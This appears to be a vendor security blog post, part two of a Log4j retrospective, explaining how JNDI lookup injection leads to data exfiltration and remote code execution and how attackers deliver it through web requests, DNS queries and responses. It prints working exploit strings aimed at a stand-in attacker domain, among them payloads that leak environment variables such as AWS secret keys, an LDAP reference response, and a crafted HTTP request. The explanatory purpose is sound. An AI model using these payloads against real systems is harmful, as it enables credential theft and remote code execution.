A Log4j Retrospective Part 2: Data Exfiltration and Remote Code Execution Exploits
Data exfiltration
In Part 1, we covered the background for the vulnerability. Now, let’s dig into the actual exploits. As mentioned in the previous post, JNDI allows not only querying of local data within the Java Runtime Environment, but also remote systems such as DNS and LDAP. By combining JNDI, remote systems, the env lookup, and nesting, a payload can be created that, when placed into text that is meant to be logged, results in data exfiltration.
For this example, imagine the attacker owns the domain name: malware.example.
Note: We use a top-level domain name of .example to avoid referencing a real domain name in this document, but the reader should imagine this can be replaced with any domain name an attacker can purchase.
Next, imagine an attacker somehow has the ability to manipulate the text that gets sent to Log4j. We’ll cover how this can occur later in this post. For this example, let’s assume the text looks as follows:
“Log this: ${jndi:dns://127.0.0.1:53/${env:USER}.malware.example}”
Following the nesting principles outlined earlier, Log4j would first evaluate ${env:USER}, resulting in a lookup of the user running the software. Let’s imagine again that this is Administrator. Log4j would then substitute that back into the text producing this interim log line:
“Log this: ${jndi:dns://127.0.0.1:53/Administrator.malware.example}”
This line still contains a lookup expression:
${jndi:dns://127.0.0.1:53/Administrator.malware.example}
Log4j sees this JNDI-based lookup expression, parses out the pseudo URL of dns://127.0.0.1:53/Administrator.malware.example, and passes it into JNDI. JNDI recognizes this pseudo URL as requiring the DNS provider, and performs a DNS lookup using the localhost resolver for Administrator.malware.example.
Because malware.example is owned by the malicious actor, the DNS query for Administrator.malware.example will reach its authoritative DNS server. By observing the DNS query, the malicious party has now discovered that the software utilizing the vulnerable Log4j code is running as user Administrator.
This illustrates how data can easily leak out of an environment if carefully crafted payloads are provided to Log4j. And while leaking the current running user is bad enough, there are far worse and far more secret pieces of information that are susceptible to this.
As one example (and this one was actually observed), consider what happens if we change ${env:USER} above to ${env:AWS_SECRET_ACCESS_KEY}, producing the following string:
“Log this: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}”
Following the earlier logic, this would result in a DNS query arriving at the malicious actor’s authoritative DNS server, which contains the AWS secret access key for the Amazon environment within which the Log4j code is running. Leaking of information such as this could lead to AWS instances being taken over.
Literally any information that is in the environment of the software running the vulnerable code that can be accessed via a Log4j lookup expression can easily be nested and coerced into arriving at an attacker-controlled system.
And while this is already horrific, it can get much much worse.
Remote code execution
As it turns out, the implementation of JNDI in some versions of Java by default allows some directory services to respond to queries, both directly and indirectly, with remote code that the querying machine then executes locally.
For example, the LDAP directory service provider on vulnerable installations allows an LDAP server to respond to a query with what is known as a reference. This reference lists the remote location of code to be downloaded and executed locally.
While this may sound crazy at first, there are valid uses for this in highly controlled environments where the LDAP server and associated infrastructure are trusted. Problems occur when an attacker can point the requesting machine to an untrustworthy LDAP server they control. The attacker can then return references to malicious code that JNDI will dutifully download and execute on the host machine.
Since vulnerable Log4j instances allow for unlimited access to JNDI through lookup expressions, loading and execution of remote code can be achieved through carefully crafted log lines. Consider the following message sent to Log4j:
“Log this: ${jndi:ldap://rce.malware.example/a}”
On vulnerable systems, Log4j sees the ${jndi:ldap://rce.malware.example/a} lookup expression and extracts the JNDI pseudo URL, ldap://rce.malware.example/a, passing it into JNDI for processing. JNDI sees this URL is utilizing the LDAP directory service provider, and issues an LDAP query to the rce.malware.example site.
As rce.malware.example is owned and operated by the malicious party, they send back a reference payload as the LDAP response that looks similar to the following:
dn:
javaClassName: exploit
javaCodeBase: http://rce.malware.com/exploit/
objectClass: javaNamingReference
javaFactory: exploitFactory
JNDI, upon receiving this response, reaches out to the web server URL of http://rce.malware.com/exploit/ and downloads the associated malicious remote code execution payload, finally executing it on the system running Log4j.
Threat surface
These horrendous attacks all require specially crafted messages to be passed to Log4j. So an obvious question is: How does an attacker get in a position to do this? The answer is to leverage any opportunity where information they provide can be logged.
Currently, the most common attack vector is against web-based applications. Many such applications log interactions with end users who are visiting the site. They might, for instance, log the path that was requested, along with the user-agent, time, and result of the request.
Knowing this, an adversary can then connect to a web application and issue a request such as:
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
User-Agent: ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}
The web application, upon receiving the request, would parse out the path of /${jndi:ldap://rce.malware.example/a} and the user-agent of ${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}, and send both to Log4j. If it does this on a vulnerable system, the AWS secret access key will be leaked along with arbitrary code being downloaded and executed.
Although it is true that web-based applications are currently being targeted far more than anything else, it is extremely important to remember that any service that meets the following criteria might be exploitable:
runs Java
utilizes a vulnerable version of Log4j to log messages
logs something that the attacker provides (URLs, headers, cookies, queries, etc.)
In that vein, another vector Akamai is seeing in the wild, albeit at a rate far less than the web application variant, is against DNS. In an attempt to see if there are any vulnerable DNS resolvers, attackers are issuing DNS queries with exploitable payloads embedded. This can be as simple as issuing the following DNS lookup from the command line:
# dig '${jndi:ldap://rce.malware.example/a}.foo.example'
This instructs the system on which the command is executed to issue a DNS query to the host’s configured resolver for the Log4j lookup string itself. A DNS resolver receiving such a query may log it, especially since it contains invalid characters. If that DNS resolver is Java-based and uses a vulnerable Log4j library version for logging, the exploit will execute.
Such an attack is not limited to the query. Another approach that Akamai is monitoring for is the payload being embedded in a DNS response. Many DNS queries can result in responses containing information other than IP addresses, such as CNAME, TXT, SRV, and PTR. We are seeing evidence that attackers are manipulating response records that they own to embed exploitable strings, attacking resolvers on the response side as well as applications that might log the results of such lookups.
And this just scratches the surface using well-known internet protocols. The threat surface extends well beyond such use cases. In fact, security researchers just recently showed that renaming an iPhone to a susceptible Log4j exploit string resulted in servers in Apple’s infrastructure pinging back, indicating vulnerable machines processed the name of the phone.
To understand just how bad this vulnerability is, we must consider that Java runs on billions of devices around the world, and that Log4j is one of the most widely used logging libraries for it. Everything from web servers to vending machines could be vulnerable, and in the case of embedded and IoT devices, many might not even have the ability to be patched.
Indeed, the threat surface is made up of not only the sheer number of devices that are exposed to this attack, but also includes the amount of time that they will be exposed. Combining the large footprint along with the unpatchability of some components means that this vulnerability will likely be with us not only for several months but potentially for years, and will eclipse prior well-publicized vulnerabilities such as Shellshock and Heartbleed in both attack surface size and impact.
What’s ahead
Stay tuned for Part 3, which will detail attack evolution and the mitigations that are available to protect your organization in this evolving environment.